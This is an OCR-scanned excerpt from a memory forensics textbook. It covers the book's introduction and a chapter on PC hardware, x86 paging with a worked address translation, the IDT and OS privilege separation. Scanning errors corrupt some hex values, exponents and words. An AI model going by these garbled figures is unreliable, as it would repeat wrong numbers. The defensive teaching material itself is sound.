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emory forensics is arguably the most fruitful, interesting, and provocative realm

of digital forensics. Each function performed by an operating system or applica-
tion results in specific modifications to the computer’s memory (RAM), which can often
persist a long time after the action, essentially preserving them. Additionally, memory
forensics provides unprecedented visibility into the runtime state of the system, such as
which processes were running, open network connections, and recently executed com-
mands. You can extract these artifacts in a manner that is completely independent of the
system you are investigating, reducing the chance that malware or rootkits can interfere
with your results. Critical data often exists exclusively in memory, such as disk encryp-
tion keys, memory-resident injected code fragments, off-the-record chat messages, unen-
crypted e-mail messages, and non-cacheable Internet history records.

By learning how to capture computer memory and profile its contents, you'll add an
invaluable resource to your incident response, malware analysis, and digital forensics
capabilities. Although inspection of hard disks and network packet captures can yield
compelling evidence, it is often the contents of RAM that enables the full reconstruction of
events and provides the necessary puzzle pieces for determining what happened before,
during, and after an infection by malware or an intrusion by advanced threat actors. For
example, clues you find in memory can help you correlate traditional forensic artifacts
that may appear disparate, allowing you to make associations that would otherwise go
unnoticed.

Regarding the title of this book, the authors believe that memory forensics is a form
of art. It takes creativity and commitment to develop this art, but anyone can enjoy and
utilize it. Like an exquisite painting, some details are immediately obvious the first time
you see them, and others may take time for you to notice as you continue to explore and
learn. Furthermore, just like art, there is rarely an absolute right or wrong way to perform
memory forensics. Along those lines, this book is not meant to be all-encompassing or
wholly authoritative. From the plethora of tools and techniques, you can choose the ones
that best suit your personal goals. This book will serve as your guide to choosing what
type of artist you want to become.



xviii Introduction

Overview of the Book and Technology

The world’s reliance on computing grows enormously every day. Companies protect
themselves with digital defenses such as firewalls, encryption, and signature/heuristic
scanning. Additionally, nations plan attacks by targeting power grids, infiltrating mili-
tary data centers, and stealing trade secrets from both public and private organizations.
It is no wonder that detecting, responding, and reporting on these types of intrusions, as
well as other incidents involving computer systems, are critical for information security
professionals.

As these attack surfaces expand and the sophistication of adversaries grows, defend-
ers must adapt in order to survive. If evidence of compromise is never written to a hard
drive, you cannot rely on disk forensics. Memory, on the other hand, has a high potential
to contain malicious code from an infection, in whole or in part, even if it’s never writ-
ten to disk—because it must be loaded in memory to execute. The RAM of a victimized
system will also contain evidence that system resources were allocated by, and in support
of, the malicious code.

Likewise, if the data exfiltrated from an organization is encrypted across the network,
a packet capture is not likely to help you determine which sensitive files were stolen.
However, memory forensics can often recover encryption keys and passwords, or even
the plain-text contents of files before they were encrypted, giving you an accelerated way
to draw conclusions and understand the scope of an attack.

The most compelling reason for writing this book is that the need for memory foren-
sics in digital investigations greatly exceeds the amount of information available on
the topic. Aside from journals, short academic papers, blog posts, and Wiki entries, the
most thorough documentation on the subject of consists of a few chapters in Malware
Analyst’s Cookbook (Wiley, 2010, Chapters 15 through 18). Nearing its fourth birthday,
much of the Cookbook’s content is now outdated, and many new capabilities have been
developed since then.

The Art of Memory Forensics, and the corresponding Volatility 2.4 Framework code,
covers the most recent Windows, Linux, and Mac OS X operating systems. In par-
ticular, Windows 8.1 and Server 2012 R2, Linux kernels up to 3.14, and Mac OS X
Mavericks, including the 64-bit editions. If your company or clients have a hetero-
geneous mix of laptops, desktops, and servers running different operating systems,
you’ll want to read all parts of this book to learn investigative techniques specific to
each platform.
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Who Should Read This Book

This book is written for practitioners of technical computing disciplines such as digital
forensics, malicious code analysis, network security, threat intelligence gathering, and
incident response. It is also geared toward law enforcement officers and government
agents who pursue powerful new ways to investigate digital crime scenes. Furthermore,
we know that many students of colleges and universities are interested in studying similar
topics. If you have worked, or desire to work, in any of the aforementioned fields, this
book will become a major point of reference for you.

The material we present is intended to appeal to a broad spectrum of readers inter-
ested in solving modern digital crimes and fighting advanced malware using memory
forensics. While not required, we assume that you have a basic familiarity with C and
Python programming languages. In particular, this includes a basic understanding of
data structures, functions, and control flow. This familiarity will allow you to realize the
full benefit of the code exhibits, which are also presented with detailed explanations.

For those new to the field, we suggest carefully reading the introductory material in the
first part, because it will provide the building blocks to help you through the rest of the
book. For the experienced reader, you may want to use the first part as reference material
and skip to the parts that interest you most. Regardless of the path you take, the book is
intended for the digital investigator who constantly strives to build their skills and seeks
new ideas for combating sophisticated and creative digital adversaries.

How This Book Is Organized

This book is broken down into four major parts. The first part introduces the fundamentals
of modern computers (hardware and software) and presents the tools and methodologies
you need for acquiring memory and getting started with the Volatility Framework. The
next three parts dive deep into the specifics of each major operating system: Windows,
Linux, and Mac. The individual chapters for each OS are organized according to the
category of artifacts (i.e., networking, rootkits) or where the artifacts are found (i.e., pro-
cess memory, kernel memory). The order of the chapters is not meant to imply that your
investigations should occur in the same order. We suggest reading the entire book to learn
all the possibilities and then determine your priorities based on the specifics of each case.

xix
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Conventions

There are a number of conventions used throughout the book, such as the following:

Hexadecimal addresses and names of files, API functions, variables, and other

terms related to code are shown in monofont. For example: 0x31337, user.ds,
PsCreateProcess, process pid = 4

Typed commands are shown in monofont and bold. If the command is preceded by
a s sign, that means we were using a UNIX system (Linux or Mac OS X). Otherwise,
you'll see a Windows prompt. For example:

$ echo "typing on UNIX" | grep typing
C:\Users\Mike\Desktop> echo "typing on windows" | findstr typing

If we truncated output for the sake of brevity, we inserted “snip” to indicate the
placement of missing fields.

Unless otherwise noted, the memory dump files used as evidence throughout the
text are not publicly available. However, the evidence package on the website (see
“What’s on the Website”) contains memory dumps you can explore.

NOTE

Tips, hints, and references related to the current discussion look like this. For example,
Francesco Picasso ported Benjamin Delpy’s Mimikatz (password recovery Windbg
plugin) to Volatility. See https://github.com/gentilkiwi/mimikatz and https://code
.google.com/p/hotoloti.

WARNING

Common mistakes, misconceptions, and potentially threatening anti-forensics
techniques look like this. For example, Dementia (https://code.google.com/p/
dementia-forensics) by Luka Milkovic is an open source anti-forensics tool.

Additionally, we typically define analysis objectives before we present the details of a
particular subject. We also make an effort to present and explain the underlying operat-
ing system or application data structures related to the evidence you're analyzing. You'll
see these items in the following format:
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Analysis Objectives

Your objectives are these:

This is an objective
This is an objective

Data Structures

This section shows data structures.

Key Points

The key points are as follows:

This is a key point
This is a key point

To facilitate understanding and help associate context with the artifacts, we show
practical examples of using memory forensics to detect specific behaviors exhibited by
high profile malware samples, rootkits, suspects, and threat groups.

What’s on the Website

On the book’s website (http://artofmemoryforensics.com) you will find the lab guide
and exemplary evidence files. These hands-on exercises are designed to simulate practical
investigations and to reinforce the concepts you learn in the text. You can also find any
necessary errata (i.e., mistakes, bug fixes) on the website.

Tools You Will Need

To complete the hands-on exercises, you will need at a minimum:

Access to Volatility (http://volatilityfoundation.org), the open-source memory
forensics framework version 2.4 or greater.

A Windows, Linux, or Mac computer with Python (http: //www.python.org) version
2.7 installed.

Memory acquisition tools (see links in Chapter 4).
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The following tools are not required for memory forensics per se, but they’re mentioned
throughout the book and can help complement your memory-related investigations.

IDA Pro and Hex-Rays (https: //www.hex-rays.com) if you plan to disassemble or
decompile code.

Sysinternals Suite (http://technet.microsoft.com/en-us/sysinternals/bb842062
.aspx) to analyze artifacts on running Windows systems.

Wireshark (http: //www.wireshark.org) for capturing and analyzing network data.
Microsoft WinDbg debugger (http://www.microsoft.com/whdc/devtools/
debugging/default. mspx).

YARA (https://plusvic.github.io/yara), the “pattern matching swiss army knife
for malware researchers.”

Virtualization software such as VMware or VirtualBox, if you plan to execute
malware in a controlled environment.

Please note that some tools may require third-party libraries or dependencies.

Memory Forensics Training

The authors of this book, also the core developers of the Volatility Framework, teach an
internationally acclaimed five-day training course: Windows Malware and Memory Forensics
Training by The Volatility Project. Although books help us disseminate the information
that we feel is critical to the future of digital forensics, they only provide one-way com-
munication. If you prefer a classroom environment with the ability to ask questions and
receive one-on-one tutorials, we invite you to bring your curiosity and enthusiasm to this
weeklong journey to the center of memory forensics.

Keep an eye on our training website (http://www.memoryanalysis.net) for upcoming
announcements regarding the following:

Public course offerings in North and South America, Europe, Australia, and other
locations

Online, self-paced training options covering Windows, Linux, and Mac OS X
Auvailability for private training sessions provided on site

Success stories from our past attendees sharing their experiences with memory
analysis
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Since launching the course in 2012, we have exposed students to bleeding-edge material
and exclusive new capabilities. This course is your opportunity to learn these invaluable
skills from the researchers and developers that pioneered the field. This is also the only
memory forensics training class authorized to teach Volatility, officially sponsored by
the Volatility Project, and taught directly by Volatility developers. For more information,
send us an e-mail at voltrainingememoryanalysis.net.
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his chapter provides a general overview of the hardware components and operat-

ing system structures that affect memory analysis. Although subsequent chapters
discuss implementation details associated with particular operating systems, this chapter
provides useful background information for those who are new to the field or might need
a quick refresher. The chapter starts by highlighting important aspects of the hardware
architecture and concludes by providing an overview of common operating system primi-
tives. The concepts and terminology discussed in this chapter are referred to frequently
throughout the remainder of the book.

Digital Environment

This book focuses on investigating events that occur in a digital environment. Within
the context of a digital environment, the underlying hardware ultimately dictates the
constraints of what a particular system can do. In many ways, this is analogous to how
the laws of physics constrain the physical environment. For example, physical crime
scene investigators who understand the laws of physics concerning liquids can leverage
bloodstains or splatter patterns to support or refute claims about a particular crime. By
applying knowledge about the physical world, investigators gain insight into how or why
a particular artifact is relevant to an investigation. Similarly, in the digital environment,
the underlying hardware specifies the instructions that can be executed and the resources
that can be accessed. Investigators who can identify the unique hardware components of
a system and the impact those components can have on analysis are in the best position
to conduct an effective investigation.

On most platforms, the hardware is accessed through a layer of software called an
operating system, which controls processing, manages resources, and facilitates commu-
nication with external devices. Operating systems must deal with the low-level details
of the particular processor, devices, and memory hardware installed in a given system.
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Typically, operating systems also implement a set of high-level services and interfaces
that define how the hardware can be accessed by the user’s programs.

During an investigation, you look for artifacts that suspected software or users might
have introduced into the digital environment and try to determine how the digital envi-
ronment changed in response to those artifacts. A digital investigator’s familiarity with
a system’s hardware and operating system provide a valuable frame of reference during
analysis and event reconstruction.

PC Architecture

This section provides a general overview of the hardware basics that digital investiga-
tors who are interested in memory forensics should be familiar with. In particular, the
discussion focuses on the general hardware architecture of a personal computer (PC). We
primarily use the nomenclature associated with Intel-based systems. It is important to note
that the terminology has changed over time, and implementation details are constantly
evolving to improve cost and performance. Although the specific technologies might
change, the primary functions these components perform remain the same.

NOTE

We generically refer to a PC as a computer with an Intel or compatible processor that
can run Windows, Linux, or Mac OS X.

Physical Organization

A PC is composed of printed circuit boards that interconnect various components and pro-
vide connectors for peripheral devices. The main board within this type of system, the moth-
erboard, provides the connections that enable the components of the system to communicate.
These communication channels are typically referred to as computer busses. This section
highlights the components and busses that an investigator should be familiar with. Figure 1-1
illustrates how the different components discussed in this section are typically organized.

CPU and MMU

The two most important components on the motherboard are the processor, which exe-
cutes programs, and the main memory, which temporarily stores the executed programs
and their associated data. The processor is commonly referred to as the central processing
unit (CPU). The CPU accesses main memory to obtain its instructions and then executes
those instructions to process the data.
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FireWire Card PCI |<-">| PCI/PCle Bridge |<

Figure 1-1: Physical organization of a modern system

Reading from main memory is often dramatically slower than reading from the CPU’s
own memory. As a result, modern systems leverage multiple layers of fast memory, called
caches, to help offset this disparity. Each level of cache (L1, L2, and so on) is relatively
slower and larger than its predecessor. In most systems, these caches are built into the
processor and each of its cores. If data is not found within a given cache, the data must
be fetched from the next level cache or main memory.

The CPU relies on its memory management unit (MMU) to help find where the data
is stored. The MMU is the hardware unit that translates the address that the processor
requests to its corresponding address in main memory. As we describe later in this chap-
ter, the data structures for managing address translation are also stored in main memory.
Because a given translation can require multiple memory read operations, the processor
uses a special cache, known as the translation lookaside buffer (TLB), for the MMU transla-
tion table. Prior to each memory access, the TLB is consulted before asking the MMU to
perform a costly address translation operation.

Chapter 4 discusses more about how these caches and the TLB can affect forensic

acquisition of memory evidence.

5
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North and Southbridge

The CPU relies on the memory controller to manage communication with main memory.
The memory controller is responsible for mediating potentially concurrent requests for
system memory from the processor(s) and devices. The memory controller can be imple-
mented on a separate chip or integrated within the processor itself. On older PCs, the
CPU connected to the northbridge (memory controller hub) using the front-side-bus and
the northbridge connected to main memory via the memory bus. Devices (for example,
network cards and disk controllers) were connected via another chip, called the southbridge
or input/output controller hub, which had a single shared connection to the northbridge
for access to memory and the CPU.

To improve performance and reduce the costs of newer systems, most capabilities
associated with the memory controller hub are now integrated into the processor. The
remaining chipset functionality, previously implemented in the southbridge, are concen-
trated on a chip known as the platform controller hub.

Direct Memory Access

To improve overall performance, most modern systems provide I/O devices the capability
to directly transfer data stored in system memory without processor intervention. This
capability is called direct memory access (DMA). Before DMA was introduced, the CPU
would be fully consumed during I/O transfers and often acted as an intermediary. In
modern architectures, the CPU can initiate a data transfer and allow a DMA controller to
manage the data transfer, or an I/O device can initiate a transfer independent of the CPU.

Besides its obvious impact on system performance, DMA also has important rami-
fications for memory forensics. It provides a mechanism to directly access the contents
of physical memory from a peripheral device without involving the untrusted software
running on the machine. For example, the PCI bus supports devices that act as bus masters,
which means they can request control of the bus to initiate transactions. As a result, a PCI
device with bus master functionality and DMA support can access the system’s memory
without involving the CPU.

Another example is the IEEE 1394 interface, commonly referred to as Firewire. The
IEEE 1394 host controller chip provides a peer-to-peer serial expansion bus intended for
connecting high-speed peripheral devices to a PC. Although the IEEE 1394 interface is
typically natively found only on higher-end systems, you can add the interface to both
desktops and laptops using expansion cards.

Volatile Memory (RAM)

The main memory of a PC is implemented with random access memory (RAM), which
stores the code and data that the processor actively accesses and stores. In contrast with



Systems Overview

sequential access storage typically associated with disks, random access refers to the char-
acteristic of having a constant access time regardless of where the data is stored on the
media. The main memory in most PCs is dynamic RAM (DRAM). It is dynamic because
it leverages the difference between a charged and discharged state of a capacitor to store
a bit of data. For the capacitor to maintain this state, it must be periodically refreshed—a
task that the memory controller typically performs.

RAM is considered volatile memory because it requires power for the data to remain
accessible. Thus, except in the case of cold boot attacks (https://citp.princeton.edu/
research/memory), after a PC is powered down, the volatile memory is lost. This is the
main reason why the “pull the plug” incident response tactic is not recommended if you
plan to preserve evidence regarding the system’s current state.

CPU Architectures

As previously mentioned, the CPU is one of the most important components of a computer
system. To effectively extract structure from physical memory and understand how mali-
cious code can compromise system security, you should have a firm understanding of the
programming model that the CPU provides for accessing memory. Although the previous
section focused on the physical organization of the hardware, this section focuses on the
logical organization exposed to the operating system. This section begins by discussing
some general topics that pertain to CPU architectures and then highlights the features
relevant to memory analysis. In particular, this section focuses on the 32-bit (IA-32) and
64-bit (Intel 64) organization, as specified in the Intel 64 and 1A-32 Architecture Software
[)6U€h¥wrg.hqanual(http://www.intel.com/content/dam/www/public/us/en/documents/

manuals/64—ia—32—architectures—software—developer—manual—325462.pdf)

Address Spaces

For the CPU to execute instructions and access data stored in main memory, it must
specify a unique address for that data. The processors discussed in this book leverage
byte addressing, and memory is accessed as a sequence of bytes. The address space refers
to a range of valid addresses used to identify the data stored within a finite allocation
of memory. In particular, this book focuses on systems that define a byte as an 8-bit
quantity. This addressing scheme generally starts with byte 0 and ends at the offset of
the final byte of memory in the allocation. The single continuous address space that is
exposed to a running program is referred to as a linear address space. Based on the memory
models discussed in the book and their use of paging, we use the terms linear addresses
and virtual addresses interchangeably. We use the term physical address space to refer to the
addresses that the processor requests for accessing physical memory. These addresses
are obtained by translating the linear addresses to physical ones, using one or more

7
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page tables (discussed in more detail soon). The following sections discuss how memory
address spaces are implemented in different processor architectures.

NOTE

When dealing with raw, padded memory dumps (see Chapter 4), a physical address
is essentially an offset into the memory dump file.

Intel IA-32 Architecture

The IA-32 architecture commonly refers to the family of x86 architectures that support
32-bit computation. In particular, it specifies the instruction set and programming envi-
ronment for Intel’s 32-bit processors. The IA-32 is a little endian machine that uses byte
addressing. Software running on an IA-32 processor can have a linear address space
and a physical address space up to 4GB. As you will see later, you can expand the size of
physical memory to 64GB using the 1A-32 Physical Address Extension (PAE) feature. This
section and the remainder of the book focuses on protected-mode operation of the IA-32
architecture, which is the operational mode that provides support for features such as
virtual memory, paging, privilege levels, and segmentation. This is the primary state of
the processor and also the mode in which most modern operating systems execute.

Registers

The IA-32 architecture defines a small amount of extremely fast memory, called registers,
which the CPU uses for temporary storage during processing. Each processor core con-
tains eight 32-bit general-purpose registers for performing logical and arithmetic opera-
tions, as well as several other registers that control the processor’s behavior. This section
highlights a few of the control registers relevant for memory analysis.

The EIP register, also referred to as the program counter, contains the linear address
of the next instruction that executes. The IA-32 architecture also has five control registers
that specify configuration of the processor and the characteristics of the executing task.
CRO contains flags that control the operating mode of the processor, including a flag that
enables paging. CR1 is reserved and should not be accessed. CR2 contains the linear
address that caused a page fault. CR3 contains the physical address of the initial structure
used for address translation. It is updated during context switches when a new task is
scheduled. CR4 is used to enable architectural extensions, including PAE.

Segmentation

IA-32 processors implement two memory management mechanisms: segmentation and
paging. Segmentation divides the 32-bit linear address space into multiple variable-length
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segments. All IA-32 memory references are addressed using a 16-bit segment selector,
which identifies a particular segment descriptor, and a 32-bit offset into the specified
segment. A segment descriptor is a memory-resident data structure that defines the loca-
tion, size, type, and permissions for a given segment. Each processor core contains two
special registers, GDTR and LDTR, which point to tables of segment descriptors, called
the Global Descriptor Table (GDT) and the Local Descriptor Table, respectively. The segmen-
tation registers CS (for code), SS (for stack), and DS, ES, FS, and GS (each for data) should
always contain valid segment selectors.

While segmentation is mandatory, the operating systems discussed in this book hide
segmented addressing by defining a set of overlapping segments with base address
zero, thereby creating the appearance of a single continuous “flat” linear address space.
However, segmentation protections are still enforced for each segment, and separate
segment descriptors must be used for code and data references.

NOTE

Because most operating systems do not take advantage of more sophisticated 1A-32
segmentation models, segmented addressing is disabled in 64-bit mode. In particular,
segment base addresses are implicitly zero. Note that segmentation protections are
still enforced in 64-bit mode.

Paging
Paging provides the ability to virtualize the linear address space. It creates an execution
environment in which a large linear address space is simulated with a modest amount
of physical memory and disk storage. Each 32-bit linear address space is broken up into
fixed-length sections, called pages, which can be mapped into physical memory in an
arbitrary order. When a program attempts to access a linear address, this mapping uses
memory-resident page directories and page tables to translate the linear address into a physi-
cal address. In the typical scenario of a 4KB page, as shown in Figure 1-2, the 32-bit virtual
address is broken into three sections, each of which is used as an index in the paging
structure hierarchy or the associated physical page.

The IA-32 architecture also supports pages of size 4MB, whose translation requires only
a page directory. By using different paging structures for different processes, an operating
system can provide each process the appearance of a single-programmed environment
through a virtualized linear address space. Figure 1-3 shows a more detailed breakdown
of the bits that translate a virtual address into an offset in physical memory.
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Figure 1-2: Address translation to a 4KB page using 32-bit paging
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Figure 1-3: Formats for paging structure addresses used in 32-bit paging

To compute the page directory entry (PDE) address, you combine bits 31:12 from the
CR3 register with bits 31:22 from the virtual address. You then locate the page table entry
(PTE) by combining bits 31:12 from the PDE with bits 21:12 of the virtual address. Finally,
you can obtain the physical address (PA) by combining bits 31:12 of the PTE with bits 11:0
of the virtual address. You'll see these calculations applied in the next section as you walk
through translating an address manually.

Address Translation

To fully support a CPU architecture that offers virtual memory, memory forensics soft-
ware such as Volatility must emulate the virtual address space and transparently handle
virtual-to-physical-address translation. Walking through the address translation steps
manually helps solidify your understanding of how these tools work and provides the
background to troubleshoot unexpected behavior.
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NOTE

The Python classes in Volatility that handle address translation expose a method called
vtop (virtual to physical). Callers pass the function a virtual address and it returns the
physical offset, which it computes using the steps described in this section. Similarly, if
you're working with Microsoft’s debugger (WinDbg), you can use the !vtop command.

For the sake of this exercise, we assume you are analyzing one of the memory samples,
ENG-USTXHOU-148, included in Jack Crook’s November 2012 forensics challenge (see
http://blog.handlerdiaries.com/?p=14). During your analysis, you found a reference
to a virtual address, ox10016270, within the virtual address space of the svchost.exe
process with PID 1024. The page directory base (CR3) for PID 1024 is 0x7401000. You
want to find the corresponding physical address to see what other data might be in close
spatial proximity.

Your first step is to convert the virtual address, 0x10016270, from hexadecimal to binary
format because you will be working with ranges of address bits:

0001 0000 0000 0001 0110 0010 0111 0000

Next, you decompose the address into the relevant offsets that are used during the
translation process. This data is shown in Table 1-1.

Table 1-1: A Breakdown of the Bits for Virtual Address Translation

Paging Structure VA Bits Binary Hex
Page directory index Bits 31:22 0001000000 0x40
Page table index Bits 21:12 0000010110 0x16
Address offset Bits 11:0 001001110000 0x270

As seen in Figure 1-2 and Figure 1-3, you can calculate the physical address of the PDE
by multiplying the page directory index by the size of the entry (4 bytes) and then adding
the page directory base, 0x7401000. The 10 bits from the virtual address can index 1024
(21) entries in the page directory.

PDE address = 0x40 * 4 + 0x7401000 = 0x7401100

Next, you must read the value from physical memory stored at the PDE address. Make
sure to account for the fact that the value is stored in a little endian format. At this point,
you know the value of the PDE is 0x170£9067. Based on Figure 1-3, you know that bits
31:12 of the PDE provide the physical address for the base of the page table. Bits 21:12 of
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the virtual address provide the page table index because the page table is composed of
1024 (2'%) entries. You can calculate the physical address of the PTE by multiplying the
size of the entry (4 bytes) by the page table index and then adding that value to the page
table base.

PTE address = 0x16 * 4 + 0x17bf9000 = 0x17bf9058

The value of the PTE stored at that address is 0x170b6067. Based on Figure 1-3, you
know that bits 31:12 of the physical address are from the PTE and bits 11:0 are from the
virtual address. Thus, the final converted physical address is this:

Physical address = 0x170b6000 + 0x270 = 0x170b6270

After completing the translation, you found that the virtual address 0x10016270 trans-
lates to the physical address ox170b6270. Figure 1-4 provides a graphical illustration of
the steps that were involved. You can find that byte offset in the memory sample and
look for any related artifacts that might be in close proximity. This is the same process
that the Volatility 1a32pPagedMemory address space performs every time a virtual address
is accessed. In the following text, you see how this process can be extended to support
larger virtual address spaces.

Virtual Address

31 22|21 12111 0
ooo0o10000O0OO0O0O0O0OO0O01TO01T1T0|0OO0TO0OO0TT1TOOOO

v v v
---1 0x40 - 0x16 ---| 0x270
E i E 4KB Page
E E Page Table E 4095
, : > 47683073
' Page Directory ' 1023
; 1023 ‘"> 67600617 | 3112 0
>l 6790bf17 3112 0 0x170b6000 + 0x270
_________ g 0x170b6270
0 0x17bf9000 + 0x16 * 4
0x17bf9058

0x7401000 + 0x40 * 4
0x7401100

Figure 1-4: Example address translation to a 4KB page using 32-bit paging
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NOTE

It is also important to highlight a couple of the bit flags stored in paging structure
entries that directly affect translation for all three paging modes discussed in the book.
The address translation process will terminate if a paging structure entry has bit 0
(the present flag) set to 0, which signifies “not present.” Thus, it generates a page fault
exception. If you are processing an intermediary paging structure, meaning more than
12 bits remain in the linear address, bit 7 of the current paging structure entry is used
as the page size (PS) flag. When the bit is set, it designates that the remaining bits map
to a page of memory as opposed to another paging structure.

Physical Address Extension

The IA-32 architecture’s paging mechanism also supports PAE. This extension allows the
processor to support physical address spaces greater than 4GB. Although programs still
possess linear address spaces of up to 4GB, the memory management unit maps those
addresses into the expanded 64GB physical address space. On systems with PAE enabled,
the linear address is divided into four indexes:

Page directory pointer table (PDPT)
Page directory (PD)

Page table (PT)

Page offset

Figure 1-5 shows an example of address translation to a 4KB page using 32-bit PAE
paging. The main differences are the introduction of another level in the paging structure
hierarchy called the page directory pointer table and the fact that the paging structure entries
are now 64 bits. Given these changes, the CR3 register now holds the physical address of
the page directory pointer table.

Figure 1-6 shows the formats for the paging structure addresses that are used in 32-bit
PAE paging. When PAE is enabled, the first paging table has only 4 (2) entries. The bits
31:30 from the virtual address select the page directory pointer table entry (PDPTE).
The bits 29:21 are an index to select from the 512 (2°) PDEs. If the PS flag is set, the PDE
maps a 2MB page. Otherwise, the 9 bits extracted from bits 20:12 are selected from the
512 (2°) PTEs. Assuming that all entries are valid, and the address is mapping a 4KB
page, the final 12 bits of the virtual address specify the offset within the page for the
corresponding PA.
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Figure 1-5: Address translation to a 4KB page using 32-bit PAE paging
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Figure 1-6: Formats for paging structure addresses used in 32-bit PAE paging

Intel 64 Architecture

The execution environment for the Intel 64 architecture is similar to IA-32, but there are a

few differences. The registers highlighted in the IA-32 architecture still exist within Intel

64, but have been expanded to hold 64 bits. The most significant change is that Intel 64

can now support 64-bit linear addresses. As a result, the Intel 64 architecture supports a

linear address space up to 2% bytes. Note that the most current implementations of the

architecture at the time of this writing do not support the entire 64 bits, only the 48-bit

linear addresses. As a result, virtual addresses on these systems are in canonical format.

This means that bits 63:48 are set to either all 1s or all Os, depending on the status of bit
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47. For example, the address oxfffffagoocccob3o has bits 63:48 set because bit 47 is set
(this is also known as sign-extension).

It is also important for you to focus on the changes to memory management because
they have a direct impact on memory forensics. The most important difference is that the
Intel 64 architecture now supports an additional level of paging structures called page map
level 4 (PML4). All entries in the hierarchy of paging structures are 64 bits, and they can
map virtual addresses to pages of size 4KB, 2MB, or 1GB. Figure 1-7 shows an example
of address translation to a 4KB page using 64-bit/IA-32e paging.

Virtual Address
47 39 38 30 29 21 20 12 11 0

Map Dir. Pntr | Directory Table Byte

9 9 9 9 12

Page Dir. Page Page 4KB
map Pntrs Dirs. Tables Page

64
CR3 > > > L] L]

Figure 1-7: Address translation to a 4KB page using 64-bit/IA-32e paging

Figure 1-8 shows the formats for the paging structure addresses used in 64-bit/IA-32e
paging. Each of the paging structures is composed of 512 entries (2°) and is indexed by
the values extracted from the following ranges taken from the 48-bit virtual address:

Bits 47:39 (PMLAE offset)
Bits 38-30 (PDPTE offset)
Bits 29:21 (PDE offset)
Bits 20:12 (PTE offset)

If the PS flag is set in the PDPTE, the entry maps a 1GB page if it is supported. Similarly,
if the PS flag is set in the PDE, the PDE maps a 2MB page. Assuming that all the interme-
diary entries are present, the final 12 bits specify the byte offset within the physical page.
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If you are interested in the details of how the different paging structure entry flags
affect memory forensics, you are encouraged to check out the Intel Manual and Volatility’s
AMD64PagedMemory address space.

55444444444433333333332222222222111111
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PDE PDPTE[51:12] VA[29:21]  (0]0|O]
2MB Page PTE[51:21] VA[20:0]
PTE PDE[51:12] VA[20:12]  (0]0|O]
PA PTE[51:12] VA[11:0]

Figure 1-8: Formats for paging structure addresses used in 64-bit/IA-32e paging

Interrupt Descriptor Table

PC architectures often provide a mechanism for interrupting process execution and pass-
ing control to a privileged mode software routine. For the IA-32 and Intel 64 architectures,
the routines are stored within the Interrupt Descriptor Table (IDT). Each processor has
its own IDT composed of 256 8-byte or 16-byte entries, in which the first 32 entries are
reserved for processor-defined exceptions and interrupts. Each entry contains the address
of the interrupt service routine (ISR) that can handle the particular interrupt or exception. In
the event of an interrupt or exception, the specified interrupt number serves as an index
into the IDT (which indirectly references a segment in the GDT), and the CPU will call
the respective handler.

After most interrupts, the operating system will resume execution where it was origi-
nally interrupted. For example, if a thread attempts to access a memory page that is
invalid, it generates a page fault. The exception number OxE handles page faults on x86
and Intel 64 architectures. Thus, the IDT entry for OxE contains the function pointer for
the operating system’s page fault handler. Once the page fault handler executes, control
can return to the thread that attempted to access the memory page. Operating systems
also use the IDT to store handlers for numerous other events, including system calls,
debugger breakpoints, and other faults.
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WARNING

Given the critical role that the IDT performs for operating systems, it has been a fre-
quent target of malicious software. Malicious software might try to redirect entries,
modify handler code, add new entries, or even create entirely new interrupt tables.
For example, Shadow Walker (https ://www.blackhat .com/presentations/bh-jp-05/
bh-jp-05-sparks-butler.pdf) hooked the page fault handler by modifying the IDT
and was able to return “fake” pages to the caller.

An interesting paper regarding the use of IDT for rootkit and anti-forensic pur-
poses is Stealth Hooking: Another Way to Subvert the Windows Kernel (http: //phrack.org/
issues/65/4.html). You can use the Volatility plugins idt (Windows) and linux_idt
(Linux) for auditing the IDT.

Operating Systems

This section provides a general overview of the aspects of modern operating systems
that impact memory forensics. In particular, it focuses on important features common
to the three operating systems discussed in this book: Microsoft Windows, Linux, and
Mac OS X. Although the topics might be familiar, this section discusses them within
the context of memory forensics. Investigators familiar with operating system internals
might choose to skip most of the material in this section or use it as a reference for topics
covered in later chapters.

Privilege Separation

To prevent potentially malfunctioning or malicious user applications from accessing or
manipulating the critical components of the operating system, most modern operating
systems implement some form of user and kernel mode privilege isolation. This isola-
tion attempts to prevent applications from affecting the stability of the operating system
or other processes. The code associated with user applications (untrusted) executes in
user mode, and the code associated with the operating system (trusted) executes in
kernel mode.

This separation is enforced by the IA-32 processor architecture through the use of
four privilege levels commonly referred to as protection rings. In most operating systems,
kernel mode is implemented in ring 0 (most privileged) and user mode in ring 3 (least
privileged). When the processor is executing in kernel mode, the code has unrestricted
access to the underlying hardware, including privileged instructions, and to kernel and
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process memory regions (except on newer systems with SMEP, which prevents ring 0
execution of user pages). For a user application to access critical components of the operat-
ing system, the application switches from user mode to kernel mode using a well-defined
set of system calls. Understanding the level of access that malicious code has gained can
help provide valuable insight into the type of modifications it can make to the system.

System Calls

Operating systems are designed to provide services to user applications. A user applica-
tion requests a service from the operating system’s kernel using a system call. For example,
when an application needs to interact with a file, communicate over the network, or spawn
another process, system calls are required. As a result, system calls define the low-level
API between user applications and the operating system kernel. Note that most appli-
cations are not implemented directly in terms of system calls. Instead, most operating
systems define a set of stable APIs that map to one or more system calls (for example, the
APIs provided by ntd11.d11 and kernel32.d11 on Windows).

Before a user application makes a system call, it must configure the execution environ-
ment to pass arguments to the kernel through a predetermined convention (for example,
on the stack or in specific registers). To invoke the system call, the application executes a
software interrupt or architecture-specific instruction, which saves the user mode register
context, changes the execution mode to kernel, initializes the kernel stack, and invokes
the system call handler. After the request is serviced, execution is returned to user mode
and the unprivileged register context is restored. Control then returns to the instruction
following the system call.

Because it is such a critical bridge between user applications and the operating sys-
tem, the code used to service system call interrupts is commonly intercepted by security
products and targeted by malicious software. Later in the book, you will learn how to
use memory forensics to detect modifications made to this critical interface on Windows,
Linux, and Mac systems.

Process Management

A process is an instance of a program executing in memory. The operating system is
responsible for managing process creation, suspension, and termination. Most modern
operating systems have a feature called multiprogramming, which allows many processes
to appear to execute simultaneously. When a program executes, a new process is created
and associated with its own set of attributes, including a unique process ID and address
space. The process address space becomes a container for the application’s code, shared
libraries, dynamic data, and runtime stack. A process also possesses at least a single
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thread of execution. A process provides the execution environment, resources, and con-
text for threads to run. An important aspect of memory analysis involves enumerating
the processes that were executing on a system and analyzing the data stored within their
address spaces, including passwords, URLs, encryption keys, e-mail, and chat logs.

Threads

A thread is the basic unit of CPU utilization and execution. A thread is often character-
ized by a thread ID, CPU register set, and execution stack(s), which help define a thread’s
execution context. Despite their unique execution contexts, a process’s threads share the
same code, data, address space, and operating system resources. A process with multiple
